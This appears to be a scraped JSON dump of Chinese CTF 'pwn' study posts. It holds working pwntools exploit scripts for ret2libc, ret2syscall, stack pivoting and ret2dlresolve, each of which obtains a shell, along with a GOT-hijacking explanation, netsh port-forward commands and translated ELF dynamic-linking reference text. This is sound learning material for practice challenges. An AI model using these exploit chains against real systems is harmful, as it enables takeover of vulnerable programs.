p = process(\u0026#39;./vuln\u0026#39;) # 假设通过调试测出溢出偏移为 72 offset = 72 # 第一步：泄露 libc 基址 rop = ROP(elf) # 调用 puts 打印 puts 自己在 GOT 表里的真实地址 rop.puts(elf.got[\u0026#39;puts\u0026#39;]) # 打印完后，让程序再次回到 main 函数，重新触发一次漏洞 rop.call(elf.sym[\u0026#39;main\u0026#39;]) payload1 = b\u0026#39;A\u0026#39; * offset + rop.chain() p.sendlineafter(b\u0026#34;Input:\u0026#34;, payload1) # 接收并解析泄露的地址 puts_leak = u64(p.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8, b\u0026#39;\\x00\u0026#39;)) print(f\u0026#34;[+] Leak puts address: {hex(puts_leak)}\u0026#34;) # 计算 libc 基址 libc.address = puts_leak - libc.sym[\u0026#39;puts\u0026#39;] print(f\u0026#34;[+] Libc base: {hex(libc.address)}\u0026#34;) # 第二步：执行 system(\u0026#34;/bin/sh\u0026#34;) rop2 = ROP(libc) # 有了基址，直接在 libc 里找 system 和 /bin/sh # 注意：64位 Ubuntu 系统有时需要多加一个单纯的 ret 指令来对齐 16 字节栈环境 rop2.raw(rop2.ret.address) rop2.system(next(libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;))) payload2 = b\u0026#39;A\u0026#39; * offset + rop2.chain() p.sendlineafter(b\u0026#34;Input:\u0026#34;, payload2) # main函数重新运行，再次输入 p.interactive() 栈的布局 发送第一段payload1前\n1 2 3 4 5 6 7 =================== 高地址 (栈底) =================== [ main 函数的地址 ] \u0026lt;- puts 执行完后的返回地址 (为了无限循环利用) [ puts@plt 地址 ] \u0026lt;- pop rdi; ret 之后的去向，去执行 puts 打印 [ puts@got 地址 ] \u0026lt;- 准备弹给 rdi 寄存器的值 (即 puts 的参数) [ pop rdi; ret 的地址 ] \u0026lt;- 劫持 EIP 的第一步！ [ 72 字节的垃圾数据 ] \u0026lt;- 填充满局部变量和旧的 RBP =================== 低地址 (当前 RSP) ================ 对于64位，由于call函数要求rsp必须16字节对齐，所以最好是在ROP链前面加上ret\n1.目前跳到了pop rdi;ret这里\n2.先执行最开始的ret，把当前地址弹出存到rip，然后rsp上移\n3.执行pop rdi;ret，先pop rdi，将栈顶也就是puts@got的地址存到rdi，然后rsp上移\n4.ret，将当前地址（puts@plt）弹出给rip，rsp继续上移\n5.执行puts函数，由于我们前面rdi里存着puts的got表地址，即为函数在libc动态链接库中的真实地址，然后执行puts，将它的真实地址打印了出来\n6.函数结束，执行leave;ret操作，rsp指向main函数地址，然后ret，下一步返回到main函数\n通过第一段我们拿到了puts函数真实地址，就可以算出libc的基址了，下一步执行system\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 高地址 +-------------------+ | system 地址 | ← 调用 system，将会跳转到 libc 的 system 函数 (5) +-------------------+ | \u0026#34;/bin/sh\u0026#34; 地址 | ← 弹入 rdi 的参数 (4) +-------------------+ | pop rdi; ret | ← 第二个 gadget (3) +-------------------+ | ret 的地址 | ← 额外对齐用，只执行 ret (2) +-------------------+ | 72 字节 A 填充 | ← 缓冲区覆盖 (1) +-------------------+ | 局部变量 / 缓冲区 | 低地址 同样，先填充字节到返回地址处，这里由于是64位，加个ret对齐\n然后正常按照64位的流程，先使用pop rdi;ret，下一步放入存入rdi的值，随后启动system函数，参数直接写进了bin/sh，然后执行，getshell\nret2syscall 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * p = process(\u0026#39;./static_vuln\u0026#39;) offset = 112 # 利用 ROPgadget 等工具提前找好的地址 pop_eax_ret = 0x08051234 pop_ebx_ecx_edx_ret = 0x08065432 int_0x80 = 0x08048122 bin_sh_addr = 0x08091111 # 假设在程序静态数据区找到了 \u0026#34;/bin/sh\u0026#34; # 组装 ROP 链，目标是执行 execve(\u0026#34;/bin/sh\u0026#34;, 0, 0) # execve 的系统调用号是 11 (0xb) payload = b\u0026#39;A\u0026#39; * offset payload += p32(pop_eax_ret) payload += p32(11) # 让 eax = 11 payload += p32(pop_ebx_ecx_edx_ret) payload += p32(bin_sh_addr) # 让 ebx = \u0026#34;/bin/sh\u0026#34; 所在的地址 payload += p32(0) # 让 ecx = 0 payload += p32(0) # 让 edx = 0 payload += p32(int_0x80) # 触发系统调用！ p.sendline(payload) p.interactive() 同样的思路。。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [ 低地址 (栈顶) ] \u0026lt;--- 此时 ESP 正指着这里 ========================================================================= 栈内相对位置 | 内存中实际存放的数据 (32位) | 这一格的作用是什么？ ========================================================================= [ESP] | 0x08051234 (pop eax; ret) | 原函数的返回地址，链条的第一步 ------------------------------------------------------------------------- [ESP + 4] | 11 | 准备喂给 EAX 的系统调用号 (execve) ------------------------------------------------------------------------- [ESP + 8] | 0x08065432 (pop ebx; ecx...) | 准备跳去的第二段 Gadget ------------------------------------------------------------------------- [ESP + 12] | 0x08091111 (bin_sh_addr) | 准备喂给 EBX 的字符串地址 ------------------------------------------------------------------------- [ESP + 16] | 0 | 准备喂给 ECX 的值 ------------------------------------------------------------------------- [ESP + 20] | 0 | 准备喂给 EDX 的值 ------------------------------------------------------------------------- [ESP + 24] | 0x08048122 (int 0x80) | 最后的归宿：系统调用大门 ========================================================================= [ 高地址 (栈底方向) ] 此时，正准备执行函数的最后一步ret，执行之后，当前栈顶弹出到eip，esp下移\n准备去执行 pop eax; ret，此时 ESP 指向 11。\npop eax将栈顶的值11弹出给eax，esp继续下移，ret，将当前值取出给eip，esp下移，随后程序会读取eip的值，作为下一条指令的地址。。。\n以此类推，eax，ebx，ecx，edx，拿到值之后，ret，然后执行int 0x80指令，触发系统调用，并且里面的参数符合，直接getshell\n由于是32位，参数进来直接进入栈中，所以不需要pop rdi;ret这一个指令的地址，靠的是函数末尾处的ret来往下走\n栈迁移 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * elf = ELF(\u0026#39;./vuln\u0026#39;) p = process(\u0026#39;./vuln\u0026#39;) # 假设存在全局变量/bss段，我们可以往这里写入数据 bss_addr = elf.bss() + 0x100 leave_ret_addr = 0x080484b8 # 提前找好的 leave; ret 的地址 # ================= 第一步：在宽敞的 bss 段提前布置好恶意的 ROP 链 ================= # 假设程序一开始提供了一次往 bss 段写任意数据的机会 # 这里布置的链就是常规的 ret2libc 或者系统调用 fake_stack_rop = ROP(elf) fake_stack_rop.puts(elf.got[\u0026#39;puts\u0026#39;]) fake_stack_rop.call(elf.sym[\u0026#39;main\u0026#39;]) p.sendafter(b\u0026#34;Write to BSS:\u0026#34;, fake_stack_rop.chain()) # ================= 第二步：极小溢出，触发栈迁移 ================= # 假设这是溢出函数，我们只有 0x20 的缓冲区，最多写 0x28 个字节 offset = 0x20 payload = b\u0026#39;A\u0026#39; * offset payload += p32(bss_addr - 4) # 覆盖 saved ebp。减 4 是为了让 leave 指令执行后，esp 恰好指向 bss_addr payload += p32(leave_ret_addr)# 覆盖 ret addr (eip)。 # 发生什么？ # 1. 目标函数原本的 leave: 把被覆盖的 ebp 赋给 esp，然后 pop ebp。此时 esp 来到了 bss_addr 附近。 # 2. 目标函数原本的 ret: 去执行被我们覆盖的 leave_ret_addr。 # 3. 再次执行 leave: 将 esp 彻底定位到了 bss_addr，并 pop ebp。 # 4. 再次执行 ret: 这次从栈顶（此时就是 bss_addr）弹出的返回地址，正好是我们第一步写入的 ROP 链！ p.sendafter(b\u0026#34;Tiny overflow:\u0026#34;, payload) p.interactive() 32位ROP链 对于32位的，参数直接进栈，不需要pop rdi;ret，但也意味着一个问题，就是他不会自动通过ret去跳转到我下一条指令的地址，我们需要自己写入返回地址\n32位的函数，汇编长这样\n1 2 3 4 5 6 7 8 9 10 11 my_func: ; --- 1. 函数序言 (Function Prologue) --- push ebp ; 保存调用者的 ebp mov ebp, esp ; 把当前的 esp 赋值给 ebp，建立自己的栈帧 ; --- 2. 真正的主体代码 --- mov eax, dword ptr [ebp + 8] ; \u0026lt;--- 用 ebp+8 拿到了 arg1 ! ; --- 3. 函数结语 (Function Epilogue) --- pop ebp ; 恢复调用者的 ebp ret ; 返回 可以看到，最终拿参数的地方是ebp+8的位置，过程如下\n时刻 1：刚好跳转到 my_func 的瞬间（函数序言还没执行）\n在这个瞬间，因为之前的 call 指令（或者我们 ROP 的 ret 占位），栈长这样：\n1 2 3 4 ================ 高地址 ================ [ 参数 arg1 的值 ] \u0026lt;- (此时 ESP + 4) [ 返回地址 ] \u0026lt;- (此时 ESP) ================ 低地址 ================ 看，此时参数确实在 ESP + 4 的位置！\n时刻 2：执行 push ebp\n这是 my_func 的第一条指令。它把旧的 ebp 压入了栈中，导致栈顶（ESP）往下走了一格（4个字节）：\n1 2 3 4 5 ================ 高地址 ================ [ 参数 arg1 的值 ] \u0026lt;- (此时 ESP + 8) [ 返回地址 ] \u0026lt;- (此时 ESP + 4) [ 旧的 EBP 值 ] \u0026lt;- (此时 ESP) ================ 低地址 ================ 发现了吗？因为压入了一个 EBP，原本在 ESP+4 的参数，现在相对于 ESP 变成了 ESP+8！\n时刻 3：执行 mov ebp, esp\n这是 my_func 的第二条指令。它把此刻的 ESP 地址直接复制给了 EBP。 此时栈的结构没有变，但是寄存器的参考系变了：\n1 2 3 4 5 ================ 高地址 ================ [ 参数 arg1 的值 ] \u0026lt;- (此时 EBP + 8) ！！！ [ 返回地址 ] \u0026lt;- (此时 EBP + 4) [ 旧的 EBP 值 ] \u0026lt;- (此时 ESP 和 EBP 都指向这里) ================ 低地址 ================ 由此可知，真正塞入参数是ebp+8的地方，所以我们构造ROP链的时候，往往需要在写入函数之后，先填充一个无关的地址，占位，然后再填入我要塞进去的参数\n例子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context.terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;] context.arch = \u0026#34;i386\u0026#34; p = process(\u0026#34;./no_relro_32\u0026#34;) rop = ROP(\u0026#34;./no_relro_32\u0026#34;) elf = ELF(\u0026#34;./no_relro_32\u0026#34;) p.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) offset = 112 rop.raw(offset * \u0026#39;a\u0026#39;) rop.read(0, 0x08049804 + 4, 4) dynstr = elf.get_section_by_name(\u0026#39;.dynstr\u0026#39;).data() dynstr = dynstr.replace(b\u0026#34;read\u0026#34;, b\u0026#34;system\u0026#34;) rop.read(0, 0x080498E0, len(dynstr)) rop.read(0, 0x080498E0 + 0x100, len(b\u0026#34;/bin/sh\\x00\u0026#34;)) rop.raw(0x08048376) rop.raw(0xdeadbeef) rop.raw(0x080498E0 + 0x100) assert(len(rop.chain()) \u0026lt;= 256) rop.raw(\u0026#34;a\u0026#34; * (256 - len(rop.chain()))) p.send(rop.chain()) p.send(p32(0x080498E0)) p.send(dynstr) p.send(b\u0026#34;/bin/sh\\x00\u0026#34;) p.interactive() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 原始 .dynamic: DT_STRTAB -\u0026gt; 真实 .dynstr (地址 A) ROP 第一步: 将 DT_STRTAB 指针改为 ----\u0026gt; 0x080498E0 ROP 第二步: 在 0x080498E0 写入 假 .dynstr (将 \u0026#34;read\u0026#34; 改成 \u0026#34;system\u0026#34;) ROP 第三步: 在 0x080498E0+0x100 写入 \u0026#34;/bin/sh\\x00\u0026#34; ROP 第四步: jmp read@plt+6 (强制解析) -\u0026gt; _dl_runtime_resolve 根据 DT_STRTAB 地址读取假表 -\u0026gt; 原符号是 read, 现在字符串是 \u0026#34;system\u0026#34; -\u0026gt; 解析出 system 地址并调用 -\u0026gt; 栈上参数指向 \u0026#34;/bin/sh\u0026#34; -\u0026gt; system(\u0026#34;/bin/sh\u0026#34;) 执行，拿到 shell ROP链如下：\n1 2 3 4 5 6 7 rop.raw(offset * \u0026#39;a\u0026#39;) # 1. 填充偏移 rop.read(0, 0x08049804+4, 4) # 2. 第一次 read：改动态字符串表指针 rop.read(0, 0x080498E0, len(dynstr)) # 3. 第二次 read：写入伪造的字符串表 rop.read(0, 0x080498E0+0x100, 8) # 4. 第三次 read：写入 \u0026#34;/bin/sh\u0026#34; rop.raw(0x08048376) # 5. 跳转到 read@plt+6 (强制解析) rop.raw(0xdeadbeef) # 6. system 的返回地址 (随便写) rop.raw(0x080498E0 + 0x100) # 7. system 的参数 (\u0026#34;/bin/sh\u0026#34; 的地址) 由于system函数原型参数就需要塞入指针（地址），所以我们在能直接定位到/bin/sh地址时，直接塞进去地址，但对于找不到的情况，可以通过read或者gets函数，把这个字符串写进一个已知的内存位置，比如bss段，过程如下：\n1 2 3 4 5 [ read_plt 地址 ] [ pppr 桥梁 ] [ 0 ] [ bss段的地址 ] \u0026lt;- 目标地址 (比如 0x0804A000) [ 8 ] \u0026lt;- 读 8 个字节 (当程序执行这一步时，你的 Python 脚本用 p.send(b\u0026quot;/bin/sh\\x00\u0026quot;)，把**真正的字符串（字面量）**发送过去，程序就会把它写进 0x0804A000)\n1 2 3 [ system_plt 地址 ] [ 0xdeadbeef ] [ 0x0804A000 ] \u0026lt;- system 的参数，填刚刚被写入了字符串的 bss 段地址！ GOT表劫持 GOT hijack是二进制漏洞利用中一种非常经典且很常见的攻击技术，它的核心思想是利用程序中的内存写入漏洞，篡改GOT表中某个函数的真实地址，从而程序在调用这个函数时，劫持程序的执行流，让其执行攻击者指定的恶意代码\n因为GOT表是一个存储着外部函数真实内存地址的数据表，位于程序的数据段，某些情况下可写，对于PLT表，存放着一小段代码，负责跳转到GOT表记录的地址去执行\n原理 GOT表在默认情况下（未开启Full Relro）是可写的，可利用这点：\n寻找漏洞： 攻击者首先需要找到程序中的一个“任意地址写”漏洞（例如：格式化字符串漏洞、数组越界写、UAF等）。 确定目标： 攻击者找到 GOT 表中某个会被程序频繁调用的函数地址（比如 puts 或 printf 的 GOT 表项）。 篡改地址（劫持）： 攻击者利用写入漏洞，将该函数的 GOT 表项内容修改为攻击者想要执行的函数地址（比如 system 函数的地址，或者是事先布置好的 Shellcode 地址、One_gadget 等）。 触发执行： 当程序接下来正常调用 puts 或 printf 时，程序会去 GOT 表里取地址，结果取到了攻击者写入的 system 的地址。 举例： 原本程序执行 printf(\u0026quot;/bin/sh\u0026quot;)，经过 GOT 表劫持后，实际上执行变成了 system(\u0026quot;/bin/sh\u0026quot;)，从而直接弹出了一个 Shell，攻击者成功控制了系统。 示例 假设一个程序中存在格式化字符串漏洞，并且后续会调用 exit(0)：\n攻击者通过漏洞泄露 libc 的基址，计算出 system 函数在内存中的真实地址。 攻击者利用格式化字符串漏洞的 %n 特性，将 exit 函数在 GOT 表中的记录修改为 system 函数的地址。 当程序执行到 exit(0) 时，本意是退出程序，但实际上却跳转到了 system 函数。由于参数类型等因素，攻击者稍作布局即可利用其执行系统命令。 若文中有理解不深、表述欠妥之处，欢迎各路师傅指正交流。\n","date":"2026-08-14T09:16:17+08:00","image":"/covers/07.jpg","permalink":"/p/binary-fundamentals/","title":"底层原理"},{"content":"完整脚本模板 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context.arch=\u0026#34;amd64\u0026#34; # amd64(64位) i386(32位) context.os=\u0026#34;linux\u0026#34; context.log_level=\u0026#34;debug\u0026#34; #开启 debug 模式 elf=ELF(\u0026#34;./lottery_debug\u0026#34;) libc=ELF(\u0026#34;./libc.so.6\u0026#34;) #如果有 def conn(): if args.REMOTE: host=\u0026#34;\u0026#34; port= return remote(host,port) else: return process(\u0026#34;\u0026#34;) def exploit(io): io.recvuntil(b\u0026#34;\u0026#34;) line=io.recvline().decode().split() payload= io.sendline(payload) io.interactive() if __name__==\u0026#39;__main__\u0026#39;: io=conn() exploit(io) ","date":"2026-08-13T20:46:54+08:00","image":"/covers/07.jpg","permalink":"/p/pwn-script-template/","title":"脚本模板"},{"content":"1. 添加端口转发规则：\n1 netsh interface portproxy add v4tov4 listenport=54854 listenaddress=0.0.0.0 connectport=54854 connectaddress=127.0.0.1 2. 添加入站防火墙规则（防止被 Windows 防火墙拦截）：\n1 netsh advfirewall firewall add rule name=\u0026#34;CTF-WSRX-54854\u0026#34; dir=in action=allow protocol=TCP localport=54854 pwninit 修复文件\n以上内容如有理解不到位或表述不当的地方，还请各位师傅不吝赐教。\n","date":"2026-08-13T20:46:19+08:00","image":"/covers/04.jpg","permalink":"/p/pwn-remote-connect/","title":"连接远端"},{"content":"DT_REL(32)或DT_RELA(64) 对应段名：.rel_dyn或.rela.dyn\n里面存着全局变量的引用，或者不需要延迟绑定的内部函数指针，在程序启动阶段即开始处理，也就是程序刚一加载，动态链接器就顺着DT_RELA把这张表从头到尾全检查一遍，把所有真实内存地址都填好\nDT_JMPREL 对应段名：.rel.plt或.rela.plt\n里面存着所有通过PLT表调用的外部函数(比如read，write，system等等)，在程序运行中也就是第一次调用函数时处理，其实这就是延迟绑定的过程\n针对ret2dlresolve技术，我们底层核心函数是_dl_runtime_resolve，当我们在ROP链触发这个函数时， _dl_fixup写死了，它只会去link_map里找DT_JMPREL这个指针，然后把传进来的reloc_arg当做偏移量，然后去找出reloc重定位表，对于32位，reloc_arg是一个字节偏移量，找重定位结构体的方法是： $$ Elf32\\_Rel\\space *reloc=(Elf32\\_Rel\\space *)(真实的\\_DT\\_JMPREL地址+reloc\\_arg) $$ 通常来说，对于32位很好算出reloc_arg，然后传进来就可以了\n而对于64位，reloc_arg是一个数组下标，结构体计算方法变成了： $$ Elf\\_Rela\\space *reloc=(Elf64\\_Rela\\space *)(\\text{真实的}\\_DT\\_JMPREL\\text{地址}+reloc\\_arg*24) $$ 注：sizeof(Elf64_Rela)刚好24个字节\n这样看，我们构造的差值还得被24整除，否则会报错，比较难。。同时，64位下reloc_arg不仅会去查重定位表，还会去查版本表(DT_VERSYM)，因此如果按照32位一样构造很大的reloc_arg的话，就会瞬间崩溃！\n知道这个，就能理解为什么64位我们不能该参数而是要改地图了，而且伪造link_map时，我们必须把假地图的1_info[DT_JMPREL]指向我们在bss段布置的假重定位结构体(Elf64_Rela)，这样才能找到他\n宏定义 (Macro) 对应的 ELF 段名 (Section) 负责的业务范围 发生的时间点 在 ret2dlresolve 中的地位 DT_REL / DT_RELA .rel.dyn / .rela.dyn 全局变量、非 PLT 数据 启动前立刻完成 (Eager) 不关心，解析器不读它 DT_JMPREL .rel.plt / .rela.plt 外部函数调用 (GOT/PLT) 运行时按需解析 (Lazy) 核心目标，必须伪造它 表与表项 可以理解为整体与个体的关系\n就拿重定位表和重定位表项来说吧。。\n重定位表 它是一整块连续的内存区域，包含了程序里所有需要重定位的信息集合，在ELF中表示为：.rel.plt段，.rela.plt段，同时，在link_map中，DT_JMPREL指向的就是这张表的第一行第一列的基址\n本质是一个结构体数组\n重定位表项 它是重定位表(数组)里面的一个具体元素，一个表项，只负责一个具体的函数，表示有：Elf32_Rel，Elf64_Rela，都是重定位表项，里面存放着具体的执行逻辑，比如r_offset(填充地址)，r_info(找符号地址)\n比如，64位下Elf64_Rela *reloc = (Elf64_Rela *)( 真实的_DT_JMPREL_地址 + reloc_arg * 24 );\nreloc就是最终取出来的重定位表项\n以上内容如有理解不到位或表述不当的地方，还请各位师傅不吝赐教。\n","date":"2026-07-29T15:14:47+08:00","image":"/covers/02.jpg","permalink":"/p/elf-basics/","title":"ELF知识点"},{"content":"Dynamic Section（动态Section）\n假如一个object文件参与了动态的连接，它的程序头将有一个类型为PT_DYNAMIC的元素，该段包含了.dynamic section，一个_DYNAMIC特别的符号，表面了该Section包含以下结构的一个数组\n1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Sword d_tag; union { Elf32_Sword d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn; extern Elf32_Dyn _DYNAMIC[]; 对每一个有该类型的object，d_tag控制着d_un的解释\n* d_val\n那些Elf32_Word object描绘了具有不同解释的整形变量。\n* d_ptr\n那些Elf32_Word object描绘了程序的虚拟地址。在执行时，文件的虚拟地址可能和内存虚拟地址不匹配，当解释包含在动态结构中的地址时是基于原始文件的值和内存的基地址，为了一致性，文件不包含在重定位入口来纠正在动态结构中的地址。\nName Value d_un Executable Shared Object DT_NULL 0 ignored mandatory mandatory DT_NEEDED 1 d_val optional optional DT_PLTRELSZ 2 d_val optional optional DT_PLTGOT 3 d_ptr optional optional DT_HASH 4 d_ptr mandatory mandatory DT_STRTAB 5 d_ptr mandatory mandatory DT_SYMTAB 6 d_ptr mandatory mandatory DT_RELA 7 d_ptr mandatory optional DT_RELASZ 8 d_val mandatory optional DT_RELAENT 9 d_val mandatory optional DT_STRSZ 10 d_val mandatory mandatory DT_SYMENT 11 d_val mandatory mandatory DT_INIT 12 d_ptr optional optional DT_FINI 13 d_ptr optional optional DT_SONAME 14 d_val ignored optional DT_RPATH 15 d_val optional ignored DT_SYMBOLIC 16 ignored ignored optional DT_REL 17 d_ptr mandatory optional DT_RELSZ 18 d_val mandatory optional DT_RELENT 19 d_val mandatory optional DT_PLTREL 20 d_val optional optional DT_DEBUG 21 d_ptr optional ignored DT_TEXTREL 22 ignored optional optional DT_JMPREL 23 d_ptr optional optional DT_LOPROC 0x70000000 unspecified unspecified unspecified DT_HIPROC 0x7fffffff unspecified unspecified unspecified *DT_NULL\n一个DT_NULL标记的入口表示了_DYNAMIC数组的结束\n*DT_NEEDED\n这个元素保存着以NULL结尾的字符串表的偏移量，那些字符串时所需库的名字，该偏移量是以DT_STRTAB为入口的表的索引\n*DT_PLTRELSZ\n该元素保存着跟PLT关联的重定位入口的总字节大小，假设一个入口类型DT_JMPREL存在，那么DT_PLTRELSZ必须存在\n*DT_PLTGOT\n该元素保存的是跟PLT关联的地址和GOT\n*DT_HASH\n该元素保存着符号哈希表的地址，哈希表指向DT_SYMTAB元素引用的符号表\n*DT_STRTAB\n该元素保存着字符串表地址，包括了符号名，库名，和一些其他的在该表中的字符串\n*DT_SYMTAB\n该元素保存着符号表的地址，对于32位类型的文件来说，关联着一个Elf32_Sym入口\n*DT_RELA\n该元素保存着重定位表的地址，就像32位文件中的Elf32_Rela，一个object文件可能很多个重定位Section，当为一个可执行和共享文件建立重定位表的时候，连接编辑器连接那些Section到一个单一的表，尽管在object文件中那些Section是保持独立的，动态连接器只看成是一个简单的表。当动态连接器为一个可执行文件创建一个进程映象或者是加一个共享object到进程映象中，它读重定位表和执行相关的动作。假如该元素存在，动态结构必须也要有DT_RELASZ和DT_RELAENT元素。当文件的重定位是mandatory，DT_RELA 或者 DT_REL可能出现（同时出现是允许的，但是不必要的）。\n*DT_RELASZ\n该元素保存着DT_RELA重定位表的总字节大小\n*DT_RELAENT\n该元素保存着DT_RELA重定位入口的字节大小\n*DT_STRSZ\n该元素保存着字符串表的字节大小\n*DT_SYMENT\n该元素保存着符号表入口的字节大小\n*DT_INIT\n该元素保存着初始化函数的地址\n*DT_FINI\n该元素保存着终止函数的地址\n*DT_SONAME\n该元素保存着以NULL结尾的字符串表偏移量，那些名字是共享object的名字，偏移量是在DT_STRTAB入口记录的表的索引\n*DT_RPATH\n该元素保存着以NULL结尾的搜索库的搜索目录字符串的字符串表偏移量\n*DT_SYMBOLIC\n在共享object库中出现的该元素为在库中的引用改变动态链接器符号解析的算法，替代在可执行文件中的符号搜索，动态链接器从他自己的共享object开始\n*DT_REL\n该元素相似于DT_RELA，除了它的表有潜在的加数，正如32-bit文件类型的Elf32_Rel一样，假如这个元素存在，它的动态结构必须也同时要有DT_RELSZ和DT_RELENT的元素。\n*DT_RELSZ\n该元素保存着DT_REL重定位表的总字节大小\n*DT_RELENT\n该元素保存着DT_RELENT重定位入口的字节大小\n*DT_PLTREL\n该成员指明了PLT指向的重定位入口的类型，d_val成员保存着DT_REL或DT_RELA\n*DT_DEBUG\n该成员被调试使用，它的内容没有被ABI指定\n*DT_TEXTREL\n如在程序头表中段许可所指出的那样，这个成员的缺乏代表没有重置入口会引起非写段的修改。假如该成员存在，一个或多个重定位入口可能请求修改一个非写段，并且动态连接器能因此有准备。\n*DT_JMPREL\n假如存在，它的入口d_ptr成员保存着重定位入口，假如lazy方式打开，那么分离它们的重定位入口让动态链接器在进程初始化时忽略他们\n*DT_LOPROC through DT_HIPROC\n在该范围内的变量为特殊的处理器语义保留，除了在数组末尾的DT_NULL元素，和DT_NEEDED元素相关的次序，入口可能在任何次序\nShared Object Dependencies（共享Object的依赖关系） 当连接器处理一个文档库时，它取出库中成员并且将它们拷贝到一个输出的object文件中，当运行时没有一个动态连接器时，那么静态的连接服务是可用的，共享object也提供服务，动态连接器必须把正确的共享object文件连接到实行的进程映像中，因此，可执行文件和共享的object文件之间存在明确的依赖性\n当动态链接器为一个object文件创建内存段时，依赖关系（在动态结构的DT_NEEDED入口中记录）表明哪些object来为程序提供服务，通过重复的连接参考的共享object和他们的依赖关系，动态链接器可以建造一个完全的进程映像，当解决一个符号引用的时候，动态连接器以宽度优先搜索（breadth-first）来检查符号表，换句话说，它先查看自己的可实行程序中的符号表，然后是顶端DT_NEEDED入口（按顺序）的符号表，再接下来是第二级的DT_NEEDED入口，依次类推，共享object文件必须对进程是可读的；其他权限是不需要的。\n注意：即使当一个共享object被引用多次（在依赖列关系表中），动态连接器 只把它连接到进程中一次。\n在依赖关系列表中的名字，既会被 DT_SONAME 字符串拷贝，也会被建立 object 文件时的路径名拷贝。例如，动态链接器建立一个可执行文件（使用带 DT_SONAME 入口的 lib1 共享文件）和一个路径名为 /usr/lib/lib2 的共享 object 库，那么该可执行文件将在它自己的依赖关系列表中包含 lib1 和 /usr/lib/lib2。\n假如一个共享 object 名字在任何地方包含了一个或更多的反斜杠字符（/），例如上面的 /usr/lib/lib2 文件或目录，动态链接器会直接把那个字符串自己作为路径名来使用。\n假如名字没有反斜杠字符（/），例如上面的 lib1，动态链接器将按照以下三种方法的优先级顺序，来指定共享文件的搜索路径。\n第一，检查动态数组标记 DT_RPATH。它保存着目录列表的字符串（用冒号 : 分隔）。例如，字符串 /home/dir/lib:/home/dir2/lib: 会告诉动态链接器先搜索 /home/dir/lib，再搜索 /home/dir2/lib，然后是当前目录。\n第二，检查进程环境中的变量 LD_LIBRARY_PATH。它可以保存跟上面一样的目录列表（可以随意跟一个分号 ; 和其他目录列表）。所有的 LD_LIBRARY_PATH 目录会在 DT_RPATH 指向的目录之后被搜索。尽管一些程序（例如连接编辑器）会对分号前和分号后的目录进行不同处理，但动态链接器不会，它会接受分号符号并按序搜索。例如 LD_LIBRARY_PATH=/home/dir/lib:/home/dir2/lib: 与包含分号的写法是等效的。\n最后，如果通过上面的两个目录查找想要得到的库均宣告失败，那么动态链接器会去搜索系统默认的 /usr/lib 目录。\n注意：出于安全考虑，对于设置了 set-user（SUID）和 set-group（SGID）的特权程序，动态链接器会直接忽略 LD_LIBRARY_PATH 所指定的搜索目录。但它依然会正常搜索 DT_RPATH 指明的目录和 /usr/lib。\nPLT和GOT解析过程 以下的步骤，描述了动态链接器和程序如何协作通过 PLT 和 GOT 来解析符号引用。\n当第一次创建程序的内存映象时，动态链接器为在 GOT 中特别的变量设置第二次和第三次的入口。下面关于那些变量有更多的解释。\n假如 PLT 是位置无关的，那么 GOT 的地址一定是保留在 %ebx 中的。每个在进程映象中共享的 object 文件有它自己的 PLT，并且仅仅在同一个 object 文件中，控制传输到 PLT 入口。从而，要调用的函数有责任在调用 PLT 入口前，设置 PLT 地址到寄存器中。\n举例说明，假如程序调用函数 name1，它将控制权传输到标号 .PLT1。\n第一条指令跳到 GOT 中 name1 的地址入口。在初始化时，该 GOT 入口保存着紧跟着的 pushl 指令的地址，而不是 name1 的真实地址。\n因此，程序会在堆栈中压入（push）一个重定位的偏移量。该重定位的偏移量是一个 32 位、非负的字节偏移量（从重定位表算起）。指派的重定位入口将是一个 R_386_JMP_SLOT 类型，它的偏移量指明了 GOT 入口（即在前面的 jmp 指令中被使用的入口）。该重定位入口也包含一个符号表的索引，因此可以告诉动态链接器哪个符号要被引用，在这里是 name1。\n在压入重定位的偏移量后，程序跳到 .PLT0，也就是 PLT 中的第一个入口。pushl 指令在堆栈中放置第二个 GOT 入口（got_plus_4 或 4(%ebx)）的值，从而给动态链接器提供一个字（word）的鉴别信息。然后程序跳到第三个 GOT 入口（got_plus_8 或 8(%ebx)），这会将控制权传输给动态链接器。\n当动态链接器接到控制权后，它会展开堆栈，查看指派的重定位入口，寻找符号的值，并在 GOT 入口中存储 name1 的真实地址，然后将控制权传输到想要的目的地。\n后续对 PLT 入口的调用将直接把控制权传输到 name1，而不需要第二次调用动态链接器了。所以，在 .PLT1 中的 jmp 指令将直接跳转到 name1，代替了原本“顺延执行（falling through）”转到 pushl 指令的过程。\nLD_BIND_NOW 环境变量能改变动态链接器的行为。假如这个变量为非空，动态链接器会在传输控制到程序前计算 PLT 入口。换句话说，动态链接器会在进程初始化时处理重定位类型为 R_386_JMP_SLOT 的入口。否则，动态链接器会以懒惰（Lazy）的方式计算 PLT 入口，将符号解析和重定位推迟到该表入口的第一次执行时。\n注意：一般来说，以懒惰（Lazy）方式绑定是对整体应用程序执行的改进。因为不使用的符号就不会招致动态链接器做无用功。然而，对于一些应用程序，在两种情况下使用懒惰方式是不受欢迎的。\n第一，初始引用一个共享 object 